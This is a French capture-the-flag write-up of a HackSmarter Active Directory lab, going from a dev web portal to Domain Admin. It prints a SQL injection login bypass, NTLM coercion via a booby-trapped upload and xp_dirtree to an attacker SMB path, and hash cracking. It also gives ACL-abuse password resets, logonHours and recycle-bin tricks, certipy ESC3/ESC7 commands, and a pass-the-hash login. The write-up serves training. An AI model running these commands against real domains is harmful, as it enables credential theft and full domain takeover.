Lab Shadowgate 2 : Coercition NTLM en Chaîne, Restauration AD et ESC3/ESC7 vers l'Administrateur du Domaine
Pentest Active Directory complet démarrant d'un simple portail web développeur : injection SQL pour contourner l'authentification, coercition NTLM répétée (upload de fichier puis xp_dirtree MSSQL) pour capturer deux comptes, double chaîne d'abus d'ACL (ForceChangePassword, WriteOwner, GenericAll) cartographiée avec BloodHound, contournement d'une restriction logonHours, restauration d'un compte depuis la corbeille Active Directory, puis élévation finale à l'Administrateur du domaine via un enchaînement ESC3 (Enrollment Agent) et ESC7 (droits CA mal répartis).
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au lab |
| Cible | SG-DC01.shadowgate.local, 10.1.88.150 |
| OS | Windows Server 2019 (Build 17763) |
| Domaine | shadowgate.local |
| Difficulté | Difficile |
Scénario : ShadowGate fournit des solutions de cybersécurité à des entreprises internationales et est en cours de certification SOC 2. Hack Smarter est mandaté pour un test d'intrusion interne, avec pour objectif de trouver l'ensemble des vulnérabilités et, si possible, d'élever ses privilèges jusqu'à Administrateur du Domaine.
Kill chain :
Recon web + OSINT équipe (noms, indices sur le portail dev)
│
▼
Portail dev → SQLi (admin' OR '1'='1) → accès à l'upload de fichiers
│
▼
Coercition NTLM (upload piégé) → hash mitch.r cracké → snitch1993
│
▼
BloodHound → mitch.r → ForceChangePassword milo.w → WriteOwner svc_mssql
│
▼
bloodyAD (chaîne) → milo.w puis svc_mssql compromis
│
▼
MSSQL (xp_dirtree) → coercition NTLM → hash bogdan.r cracké → bogdan0126
│
▼
BloodHound 2 → bogdan.r → GenericAll oscar.m → bypass logonHours → Flag user
│
▼
Mail interne + Corbeille AD → restauration sam.h → ESC3 + ESC7 → Flag root
1. Reconnaissance
rustscan -b 500 -a 10.1.88.150 -- -sC -sV -Pn
Output (extrait) :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: ShadowGate | Advanced Cyber Security Solutions
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadowgate.local)
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
| Issuer: commonName=Shadowgate-CA/domainComponent=shadowgate
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
54311/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
Service Info: Host: SG-DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
Machine typique de contrôleur de domaine (Kerberos, LDAP, SMB, WinRM, RDP), domaine shadowgate.local, machine SG-DC01. Le certificat SSL sur LDAPS révèle immédiatement une CA interne, Shadowgate-CA : ADCS est présent, une piste à garder en tête. Deux services sortent du lot par rapport aux labs précédents : le port 80 (contenu web) et 54311 (MSSQL Server 2019).
nxc smb 10.1.88.150 -u '' -p '' --generate-hosts-file hosts --smb-timeout 30
echo "10.1.88.150 SG-DC01.shadowgate.local shadowgate.local SG-DC01" | sudo tee -a /etc/hosts
2. Énumération Web et OSINT
Le site vitrine sur le port 80 présente ShadowGate comme concepteur de solutions cybersécurité.

L'onglet Our Team liste les employés avec leur rôle, une mine d'informations pour la suite :
| Nom | Rôle | Détail |
|---|---|---|
| Mitch Ressek | Lead Developer & Platform Admin | Architecture de la plateforme sécurité |
| Bogdan Radzik | IT Admin & Database Specialist | Administration MSSQL |
| Milo Weis | Junior IT Administrator | Responsable des comptes MSSQL dans l'AD |
| Oscar Mazerath | Security Operations Analyst | Remote, responsable des comptes AD |
| Sam Hadges | Certificate Manager & Enrollment Agent | Poste vacant, a quitté l'entreprise |
| Daniel Ramus | Security Infrastructure Engineer | Architecture réseau |
| Ryan James | Client Security Specialist | Relation client |


On construit une liste de noms candidats. Le compte de Sam Hadges est volontairement conservé dans la liste malgré son départ : la fiche précise qu'il a quitté l'équipe, mais rien ne garantit que ses accès aient été révoqués.

Le site ne présente rien d'autre d'exploitable en surface. On lance un brute force de sous-domaines :
ffuf -u "http://shadowgate.local" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.shadowgate.local" -fs 63405
Un sous-domaine dev apparaît.

Après ajout à /etc/hosts, on tombe sur un portail développeur :

Une note en bas de page donne trois informations décisives pour la suite de l'attaque :

- Le format des comptes dans l'AD est
prénom.première lettre du nom(confirmé plus tard par l'énumération SMB) - L'authentification se fait par identifiant/mot de passe, un vecteur potentiel d'injection SQL
- Tous les fichiers uploadés sont automatiquement déposés sur un partage
dev$et systématiquement vérifiés par Mitch Ressek
Cette dernière information est la clé de voûte de l'attaque à venir : si mitch.r ouvre systématiquement les fichiers uploadés depuis un partage réseau, un fichier piégé peut forcer son compte à s'authentifier vers un serveur contrôlé par l'attaquant.
Énumération SMB préliminaire
nxc smb shadowgate.local -u '' -p '' --shares --smb-timeout 30
SMB 10.1.88.150 445 SG-DC01 [+] shadowgate.local\:
SMB 10.1.88.150 445 SG-DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
nxc smb shadowgate.local -u 'guest' -p '' --shares --smb-timeout 30
SMB 10.1.88.150 445 SG-DC01 [-] shadowgate.local\guest: STATUS_ACCOUNT_DISABLED
Le compte invité est désactivé, et la session null ne peut pas énumérer les partages. La piste web reste la plus prometteuse.
3. Injection SQL sur le Portail Dev
L'authentification se faisant par identifiant/mot de passe comme indiqué dans la note, on teste directement un payload d'injection SQL classique sur le champ de connexion :
admin' OR '1'='1

L'authentification est contournée. Une fois connecté, le champ d'upload de fichiers annoncé par la note du portail est bien présent :

4. Coercition NTLM via Upload de Fichier
Référence : wgilescyber : Breaking NTLM, From Hash Capture to Domain Compromise / GitHub : xct/hashgrab
Comprendre l'Attaque
Le fichier à uploader n'est pas un fichier ordinaire : il embarque une instruction qui force l'application qui l'ouvre à se connecter à un partage SMB distant contrôlé par l'attaquant, un mécanisme de coercition. La note du portail indique que chaque fichier uploadé est vérifié par mitch.r depuis le partage dev$ : c'est donc le processus qui ouvre ce fichier, exécuté dans le contexte de mitch.r, qui va tenter cette connexion SMB. En se plaçant en position d'intercepteur (MITM) de cette tentative d'authentification, on capture le hash NTLM du compte, exactement le même principe de coercition NTLM déjà détaillé dans le lab VulnNet: Active pour un autre vecteur.
Exploitation
On démarre l'écoute :
sudo responder -I tun0 -dwv
On génère les fichiers piégés avec hashgrab :
hashgrab 10.200.77.189 exploit

On uploade un des fichiers via le portail dev :


mitch.r ouvre le fichier peu après, déclenchant la connexion SMB forcée vers notre écoute Responder, qui capture le hash NTLMv2 :

Cassage
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

mitch.r : snitch1993
5. Énumération avec mitch.r
nxc smb shadowgate.local -u 'mitch.r' -p 'snitch1993' --users --smb-timeout 30
SMB 10.1.88.150 445 SG-DC01 Administrator, Guest, krbtgt,
daniel.r, ryan.j, svc_mssql, mitch.r, milo.w, oscar.m, bogdan.r
Le compte svc_mssql confirme l'existence d'un compte de service dédié à MSSQL, cohérent avec le port 54311 repéré en reconnaissance.
On teste l'ASREPRoast et le Kerberoasting sur la liste complète, sans résultat pour l'ASREPRoast :
impacket-GetUserSPNs shadowgate.local/mitch.r:'snitch1993' -dc-ip 10.1.88.150 \
-request -outputfile kerberoastables.txt
ServicePrincipalName Name MemberOf
MSSQLSvc/SG-DC01.shadowgate.local:1433 Administrator Group Policy Creator Owners
MSSQLSvc/SG-DC01.shadowgate.local:SQLEXPRESS Administrator Group Policy Creator Owners

Détail notable : le SPN MSSQL est directement porté par le compte Administrator lui-même, membre de Group Policy Creator Owners. Malgré cette piste intéressante, le hash récupéré résiste au cassage avec rockyou.txt. On bascule sur BloodHound pour cartographier d'autres chemins.
6. Cartographie BloodHound
Un seul compte administrateur de domaine existe, le compte builtin Administrator :

Depuis mitch.r, un chemin en deux maillons se dessine :
mitch.r ──(ForceChangePassword)──▶ milo.w ──(WriteOwner)──▶ svc_mssql

mitch.r peut réinitialiser directement le mot de passe de milo.w. Ce dernier est ensuite propriétaire potentiel de svc_mssql, ce qui ouvre la voie à un contrôle total via la chaîne WriteOwner puis WriteDacl implicite déjà détaillée dans les notes sur les ACLs
Référence : DACLs
Compromission de milo.w
On utilise les droits ForceChangePassword sur milo.w.
bloodyad -d shadowgate.local -u mitch.r -p 'snitch1993' --host 10.1.88.150 \
set password milo.w 'NewPass123!'
[+] Password changed successfully!
Compromission de svc_mssql
milo.w ne dispose pas d'un droit direct pour changer le mot de passe de svc_mssql, seulement d'un WriteOwner. L'exploitation se fait donc en trois sous-étapes successives.
Étape 1 : Devenir propriétaire de svc_mssql :
bloodyad -d shadowgate.local -u milo.w -p 'NewPass123!' --host 10.1.88.150 \
set owner svc_mssql milo.w
[+] Old owner S-1-5-21-...-512 is now replaced by milo.w on svc_mssql
Étape 2 : S'accorder GenericAll sur l'objet :
bloodyad -d shadowgate.local -u milo.w -p 'NewPass123!' --host 10.1.88.150 \
add genericAll svc_mssql milo.w
[+] milo.w has now GenericAll on svc_mssql
Étape 3 : Changer le mot de passe de svc_mssql maintenant que le contrôle total est acquis :
bloodyad -d shadowgate.local -u milo.w -p 'NewPass123!' --host 10.1.88.150 \
set password svc_mssql 'NewPass123!'
[+] Password changed successfully!
svc_mssql : NewPass123!
7. Pentest MSSQL et Deuxième Coercition NTLM
Référence : tldr.inbrowser.app : mssqlclient.py / Hackviser : Pentesting MSSQL
On tente une connexion avec l'outil mssqlclient.py d'impacket et elle échoue :
impacket-mssqlclient 'shadowgate.local/svc_mssql:NewPass123!'@shadowgate.local
[-] ERROR(SG-DC01\SQLEXPRESS): Line 1: Login failed for user 'svc_mssql'.
svc_mssql étant un compte de domaine, il faut explicitement forcer l'authentification Windows plutôt que l'authentification SQL Server par défaut. Le flag -windows-auth corrige l'échec précédent.
impacket-mssqlclient 'svc_mssql:NewPass123!'@shadowgate.local -windows-auth
Le flag -windows-auth corrige l'échec précédent
Une fois connecté, on liste les bases :

L'accès à la base ShadowGate elle-même est refusé :

xp_cmdshell (la procédure étendue MSSQL permettant l'exécution de commandes système) est également indisponible :

En revanche, xp_dirtree fonctionne, une procédure destinée à lister l'arborescence d'un dossier, y compris sur un chemin UNC distant :

C'est la même mécanique de coercition qu'à l'étape 4, mais déclenchée cette fois directement depuis le contexte du service MSSQL plutôt que via un upload de fichier.
Exploitation
sudo responder -I tun0 -dwv
Depuis la session mssqlclient, on force le service à lister un partage factice :
xp_dirtree '\\10.200.77.189\share';

Le service MSSQL, tournant avec les privilèges du compte bogdan.r (l'administrateur base de données identifié sur le site), tente cette connexion et expose son hash à notre écoute Responder :

Cassage
hashcat -m 5600 -a 0 bogdan.hash /usr/share/wordlists/rockyou.txt

bogdan.r : bogdan0126
8. Cartographie BloodHound 2 et Compromission de oscar.m
bogdan.r dispose d'un droit GenericAll sur deux comptes, oscar.m et daniel.r :

Choix de la cible : on privilégie oscar.m, membre du groupe IT Support, un profil à fort potentiel de privilèges supplémentaires :

oscar.m est également membre du groupe de gestion à distance (Remote Management), ce qui garantit un accès WinRM direct une fois le compte compromis :

On utilise les droits GenericAll sur oscar.m pour changer son mot de passe :
bloodyad -d shadowgate.local -u bogdan.r -p 'bogdan0126' --host 10.1.88.150 \
set password oscar.m 'NewPass123!'
[+] Password changed successfully!
La validation des credentials échoue cependant avec un code d'erreur inattendu :
nxc smb shadowgate.local -u oscar.m -p 'NewPass123!' --smb-timeout 30
SMB 10.1.88.150 445 SG-DC01 [-] shadowgate.local\oscar.m:NewPass123! STATUS_INVALID_LOGON_HOURS
9. Contournement de la Restriction logonHours
Référence : 4sysops : Restrict and report logon hours for Active Directory accounts
Comprendre la Restriction
STATUS_INVALID_LOGON_HOURS signifie que le compte n'est pas autorisé à se connecter à l'heure actuelle. Ce comportement est piloté par l'attribut Active Directory logonHours, stocké sous la forme de 21 octets (168 bits, un par heure de la semaine sur 7 jours). Un bit à 1 autorise la connexion sur cette tranche horaire, un bit à 0 l'interdit, le tout exprimé en temps UTC. La fiche du site indiquait justement qu'Oscar était en "Remote Specialist" avec des horaires de présence sur site limités, cohérent avec une restriction logonHours réelle configurée sur son compte.
bogdan.r disposant d'un GenericAll sur oscar.m, il peut écrire directement cet attribut pour lever la restriction :
bloodyad --host 10.1.88.150 -d shadowgate.local -u 'bogdan.r' -p 'bogdan0126' \
set object oscar.m logonhours -v '////////////////////////////' --b64
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] oscar.m's logonHours has been updated
On compte 28 / et voici pourquoi :
-
Un caractère Base64 encode 6 bits (la valeur maximale 111111, soit 63 en binaire, correspond au caractère /).
-
Structure des données : Une semaine comporte 7 jours de 24 heures, soit 24 bits par jour (1 bit par tranche d'une heure). L'ensemble de la semaine représente donc 7 * 24 = 168 bits, soit 21 octets.
-
Calcul de l'encodage : Chaque bloc de 3 octets (24 bits) se traduit exactement par 4 caractères Base64 (24 / 6 = 4). Pour 21 octets, on obtient ainsi une chaîne de 28 caractères (7 blocs * 4 caractères).
-
Résultat final : Lorsque l'accès est autorisé sans restriction (tous les bits positionnés à 1), la valeur binaire complète est une suite de 168 bits à 1. Encodée en Base64, elle produit la chaîne //////////////////////////// (le caractère / répété 28 fois).
nxc smb shadowgate.local -u oscar.m -p 'NewPass123!' --smb-timeout 30
SMB 10.1.88.150 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.88.150 445 SG-DC01 [+] shadowgate.local\oscar.m:NewPass123!
Les credentials fonctionnent désormais.
oscar.m : NewPass123!
10. Enumération Locale et Flag Utilisateur
On se connecte en tant que oscar.m:
evil-winrm -u oscar.m -i 10.1.88.150 -p 'NewPass123!'
Le flag utilisateur est présent sur le bureau :

En poursuivant l'exploration locale, un dossier Mails dans l'espace de oscar.m contient un fichier intéressant :


Ce mail confirme et complète plusieurs points :
- Sam Hadges a bien été renvoyé, comme l'indiquait déjà le site
- Ses accès devaient être supprimés (mais rien ne garantit que ce soit effectif)
- Il était responsable du service de délivrance de certificats
- Une opération récente a révélé des misconfigurations sur certains templates de certificats, sans qu'aucune exploitation n'ait été confirmée en interne
Trois pistes concrètes s'ouvrent ici : vérifier si le compte de Sam Hadges est réellement supprimé ou seulement désactivé, et explorer ADCS.
11. Restauration de sam.h depuis la Corbeille Active Directory
Comprendre la Corbeille AD
Quand un objet Active Directory est supprimé, il n'est pas physiquement effacé : il est marqué isDeleted=TRUE, dépouillé de la plupart de ses attributs, et déplacé dans un conteneur spécial CN=Deleted Objects. Si la fonctionnalité AD Recycle Bin est activée sur le domaine, l'objet conserve l'intégralité de ses attributs (y compris ses appartenances à des groupes) durant une période de rétention configurable, et peut être restauré dans son état exact d'avant suppression.
La description du site indiquait qu'Oscar était zuständig für Active Directory Accounts (responsable des comptes AD, en allemand). C'est cette responsabilité fonctionnelle qui laisse penser qu'oscar.m pourrait disposer de droits sur la corbeille AD.
Vérification
ldapsearch -H ldap://10.1.88.150 -x -D "oscar.m@shadowgate.local" -w 'NewPass123!' \
-b "CN=Deleted Objects,DC=shadowgate,DC=local" \
-E '!1.2.840.113556.1.4.417' \
"(isDeleted=TRUE)" sAMAccountName objectClass distinguishedName
Le contrôle LDAP 1.2.840.113556.1.4.417 (Show Deleted Objects) est nécessaire pour que le conteneur Deleted Objects, normalement invisible, retourne des résultats.

sam.h est toujours présent, jamais réellement supprimé. On vérifie ensuite les droits de oscar.m sur cet objet avec bloodyAD :

oscar.m dispose du droit d'écriture sur le propriétaire (WriteOwner) et sur la DACL (WriteDacl) de l'objet sam.h, en plus d'un droit de création d'enfant sur le conteneur. C'est amplement suffisant pour restaurer l'objet et en prendre le contrôle.
Restauration
On restaure le compte sam.h:
bloodyad --host 10.1.88.150 -d shadowgate.local -u 'oscar.m' -p 'NewPass123!' \
set restore 'sam.h'
[+] sam.h has been restored successfully under CN=sam.h,CN=Users,DC=shadowgate,DC=local
Le compte redevient un objet actif normal de l'annuaire, mais avec un mot de passe inconnu (celui d'avant suppression). On le réinitialise directement, oscar.m conservant son GenericAll sur l'objet une fois celui-ci restauré :
bloodyad --host 10.1.88.150 -d shadowgate.local -u 'oscar.m' -p 'NewPass123!' \
set password 'sam.h' 'NewPass123!'
[+] Password changed successfully!
La description restaurée du compte confirme son ancien rôle :

sam.h : NewPass123!
12. Découverte ADCS
Le compte sam.h, ancien responsable des certificats, est le candidat naturel pour explorer ADCS.
certipy-ad find -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
-target SG-DC01.shadowgate.local -vulnerable
[-] Got error: socket connection error while opening: timed out
L'échec est cohérent avec le mail interne, qui mentionnait qu'un firewall bloque le port LDAPS (636), le port par défaut utilisé par Certipy pour ses requêtes. On force l'utilisation de LDAP en clair :
certipy-ad find -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
-target SG-DC01.shadowgate.local -vulnerable -ldap-scheme ldap
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Successfully retrieved CA configuration for 'Shadowgate-CA'
Deux vulnérabilités distinctes ressortent : ESC3 sur un template, ESC7 sur la CA elle-même.
{
"Certificate Authorities": {
"0": {
"CA Name": "Shadowgate-CA",
"DNS Name": "SG-DC01.shadowgate.local",
"Certificate Subject": "CN=Shadowgate-CA, DC=shadowgate, DC=local",
"Certificate Serial Number": "3DADB967D3C30DB94A9620C07D4332B0",
"Certificate Validity Start": "2025-12-07 17:37:04+00:00",
"Certificate Validity End": "2124-12-07 17:47:04+00:00",
"Web Enrollment": {
"http": {
"enabled": false
},
"https": {
"enabled": false,
"channel_binding": null
}
},
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
"Permissions": {
"Owner": "SHADOWGATE.LOCAL\\Administrators",
"Access Rights": {
"512": [
"SHADOWGATE.LOCAL\\Authenticated Users",
"SHADOWGATE.LOCAL\\sam.h"
],
"1": [
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins",
"SHADOWGATE.LOCAL\\Administrators",
"SHADOWGATE.LOCAL\\sam.h"
],
"2": [
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins",
"SHADOWGATE.LOCAL\\Administrators"
],
"256": ["SHADOWGATE.LOCAL\\sam.h"]
}
},
"[+] User Enrollable Principals": [
"SHADOWGATE.LOCAL\\sam.h",
"SHADOWGATE.LOCAL\\Authenticated Users"
],
"[+] User ACL Principals": ["SHADOWGATE.LOCAL\\sam.h"],
"[!] Vulnerabilities": {
"ESC7": "User has dangerous permissions."
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "Shadowgate-EnrollmentAgent",
"Display Name": "Shadowgate-EnrollmentAgent",
"Certificate Authorities": ["Shadowgate-CA"],
"Enabled": true,
"Client Authentication": false,
"Enrollment Agent": true,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [33554432, 2147483648],
"Enrollment Flag": [32],
"Private Key Flag": [16],
"Extended Key Usage": ["Certificate Request Agent"],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Schema Version": 2,
"Validity Period": "2 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2025-12-07 17:51:15+00:00",
"Template Last Modified": "2025-12-07 17:51:19+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"SHADOWGATE.LOCAL\\sam.h",
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "SHADOWGATE.LOCAL\\Administrator",
"Full Control Principals": [
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins"
],
"Write Owner Principals": [
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins"
],
"Write Dacl Principals": [
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins"
],
"Write Property Enroll": [
"SHADOWGATE.LOCAL\\Domain Admins",
"SHADOWGATE.LOCAL\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": ["SHADOWGATE.LOCAL\\sam.h"],
"[!] Vulnerabilities": {
"ESC3": "Template has Certificate Request Agent EKU set."
}
}
}
}
En temps normal on choisit une faille pour l'exploiter mais vu que nous sommes en mode apprentissage on va exploiter les failles les une après les autres.
13. ESC3 : Enrollment Agent Template Misconfiguration
Référence : Vaadata : AD CS Security, Understanding and Exploiting ESC Techniques
Présentation ESC3
ESC3 est une vulnérabilité de misconfiguration de template de certificat dans ADCS. Elle repose principalement sur l'utilisation abusive de l'Enrollment Agent, qui permet à un utilisateur de demander un certificat au nom d'un autre utilisateur. Les conditions suivantes doivent être réunies pour que ESC3 soit exploitable :
- Template avec EKU
Certificate Request Agent: un template accessible à un utilisateur non privilégié contient l'EKUCertificate Request Agent, permettant au certificat obtenu d'être utilisé comme certificat d'Enrollment Agent.
"Extended Key Usage": ["Certificate Request Agent"]
- Enrollment rights excessifs : l'utilisateur dispose du droit
Enrollsur ce template.
"Enrollment Rights": ["SHADOWGATE.LOCAL\\sam.h", "...Domain Admins", "...Enterprise Admins"]
- Template cible vulnérable : il existe un second template permettant l'authentification et sur lequel l'utilisateur peut demander un certificat, avec les conditions nécessaires à l'utilisation d'un Enrollment Agent.
"Extended Key Usage": ["Client Authentication"]
- Pas d'approbation empêchant le processus : la configuration de la CA et des templates permet que la demande effectuée au nom d'un autre utilisateur soit traitée sans contrôle administratif bloquant.
"Requires Manager Approval": false
Mécanisme
Étape 1 : Obtenir le rôle d’Enrollment Agent
L’attaquant s’enrôle sur un premier template (Template A) qui possède :
- l’EKU Certificate Request Agent ;
- des droits d’enrôlement ouverts (Enroll pour un utilisateur peu privilégié) ;
- Requires Manager Approval: false et aucun nombre de signatures autorisées requis.
Résultat : l’attaquant obtient un certificat d’Enrollment Agent.
Étape 2 : Demander un certificat privilégié par procuration
L’attaquant utilise son certificat d’Enrollment Agent pour co-signer une demande sur un second template (Template B) qui permet l’authentification domaine. Il spécifie la cible via l’option -on-behalf-of (ex. DOMAIN\Administrator).
Résultat : la CA délivre un certificat d’authentification pour le compte ciblé. L’attaquant peut ensuite s’authentifier via Kerberos PKINIT (ou Schannel) avec ce certificat.
Pourquoi c'est exploitable ici
Le compte sam.h dispose d’un droit Enroll individuel explicite sur un template portant l’EKU Certificate Request Agent, sans approbation manager. C’est exactement le scénario ESC3.
Exploitation
Étape 1 : Obtention du certificat d'Enrollment Agent :
certipy-ad req -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
-target SG-DC01.shadowgate.local -ca Shadowgate-CA \
-template Shadowgate-EnrollmentAgent -ldap-scheme ldap
-ca désigne l'autorité de certification à qui adresser la requête. -template précise le template ciblé, ici celui sur lequel sam.h a un droit Enroll.
[*] Got certificate with UPN 'sam.h@shadowgate.local'
[*] Saving certificate and private key to 'sam.h.pfx'
Ce certificat ne représente pas une identité privilégiée : il représente sam.h lui-même, mais avec la capacité cryptographique de signer des demandes pour d'autres.
Étape 2 : La demande "au nom de"
certipy-ad req -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
-target SG-DC01.shadowgate.local -ca Shadowgate-CA -template 'User' \
-on-behalf-of 'SHADOWGATE\Administrator' -pfx 'sam.h.pfx' -ldap-scheme ldap
[*] Got certificate with UPN 'Administrator@shadowgate.local'
[*] Saving certificate and private key to 'administrator.pfx'
Authentification :
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.88.150 -ldap-scheme ldap
[*] Got hash for 'administrator@shadowgate.local': aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a
ESC3 fonctionne et retourne bien le hash NTLM de l'Administrateur.
14. ESC7 : CA Access Control Misconfiguration
Référence : Certipy Wiki : ESC7, Dangerous Permissions on CA
Présentation ESC7
ESC7 est une vulnérabilité liée aux permissions dangereuses sur la Certificate Authority (CA) elle-même, et non sur un template. Les deux droits critiques sont :
- ManageCA (CA Administrator) → contrôle total de la configuration de la CA (publication de templates, gestion des rôles, etc.)
- ManageCertificates (Certificate Manager / Officer) → capacité d’approuver ou de rejeter les demandes de certificats en attente
Un utilisateur qui possède ManageCA peut s’auto-attribuer le rôle d’Officer (et donc obtenir ManageCertificates), puis forcer l’émission de certificats pour des comptes privilégiés.
Mécanisme
Étape 1 : S’octroyer le rôle manquant
Grâce à ManageCA, l’attaquant s’ajoute lui-même comme Certificate Officer. Il obtient ainsi le droit ManageCertificates qu’il ne possédait pas nativement.
Étape 2 : Préparer un template exploitable
Il publie (ou s’assure que) le template SubCA est activé sur la CA. Ce template permet de spécifier le sujet (Enrollee Supplies Subject) et possède des EKU très permissifs, mais seuls les administrateurs ont normalement le droit Enroll.
Étape 3 : Soumettre une demande volontairement rejetée
L’attaquant demande un certificat SubCA pour un compte privilégié (ex. Administrator). La demande est refusée faute de droit Enroll, mais génère un Request ID et une clé privée locale.
Étape 4 : Auto-approuver la demande
Grâce au rôle Officer obtenu à l’étape 1, l’attaquant force l’émission de la demande précédemment rejetée.
Étape 5 : Récupérer et utiliser le certificat
Il récupère le certificat maintenant émis, puis s’authentifie (Kerberos PKINIT / Schannel) en tant que le compte ciblé.
Pourquoi c'est exploitable ici
Le JSON des droits de la CA montre clairement le déséquilibre :
"Access Rights": {
"512": ["Authenticated Users", "sam.h"],
"1": ["Domain Admins", "Enterprise Admins", "Administrators", "sam.h"], // ManageCA
"2": ["Domain Admins", "Enterprise Admins", "Administrators"], // ManageCertificates
"256": ["sam.h"]
}
- sam.h possède le droit
1(ManageCA) - sam.h ne possède pas le droit
2(ManageCertificates)
C’est exactement ce déséquilibre qui impose la séquence d’étapes suivante : utiliser ManageCA pour s’octroyer artificiellement ManageCertificates, puis enchaîner.
Exploitation
Étape 1 : S’octroyer le rôle Certificate Officer (ManageCertificates)
certipy-ad ca -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
-target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -add-officer 'sam.h' -ldap-scheme ldap
[*] Successfully added officer 'sam.h' on 'Shadowgate-CA'
Étape 2 : Publier le template SubCA
certipy-ad ca -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
-target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -enable-template 'SubCA' -ldap-scheme ldap
[*] Successfully enabled 'SubCA' on 'Shadowgate-CA'
Étape 3 : Soumettre la demande (rejet volontaire)
certipy-ad req -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
-target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -template 'SubCA' \
-upn 'administrator@shadowgate.local' -sid 'S-1-5-21-2396436576-3267128377-3646372360-500' -ldap-scheme ldap
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
Would you like to save the private key? (y/N): y
[*] Saving private key to '10.key'
Étape 4 : Approuver soi-même la demande rejetée
certipy-ad ca -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
-target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -issue-request '10' -ldap-scheme ldap
[*] Successfully issued certificate request ID 10
Étape 5 : Récupérer le certificat
certipy-ad req -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
-target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -retrieve '10' -ldap-scheme ldap
-retrieve '10' récupère le certificat correspondant au Request ID 10 maintenant approuvé, en réutilisant la clé privée sauvegardée localement à l'étape 3.
[*] Got certificate with UPN 'administrator@shadowgate.local'
[*] Saving certificate and private key to 'administrator.pfx'
Étape 6, authentification :
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.88.150 -ldap-scheme ldap
[*] Got hash for 'administrator@shadowgate.local': aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a
Le même hash NTLM de l'Administrateur est obtenu.
15. Flag Root
evil-winrm -u Administrator -i 10.1.88.150 -H a07b7bbc98b574afe52bbeb5d07d9c0a
Le flag root est récupéré sur le bureau de l'Administrateur.

Compromission totale du domaine.
16. Conclusion et Remédiation
Kill Chain Complète
1. OSINT web → équipe identifiée, portail dev découvert, indices sur le workflow d'upload
2. SQLi → contournement de l'authentification du portail dev
3. Coercition NTLM #1 → upload piégé → hash mitch.r → snitch1993
4. BloodHound → mitch.r → ForceChangePassword milo.w → WriteOwner svc_mssql
5. bloodyAD (x2) → milo.w puis svc_mssql compromis
6. MSSQL xp_dirtree → coercition NTLM #2 → hash bogdan.r → bogdan0126
7. BloodHound 2 + logonHours → GenericAll oscar.m, bypass horaire → Flag user
8. Mail interne + Corbeille AD → restauration sam.h
9. certipy-ad find → ESC3 + ESC7 détectés
10. ESC3 et ESC7 → hash NTLM Administrator → Flag root
Remédiation
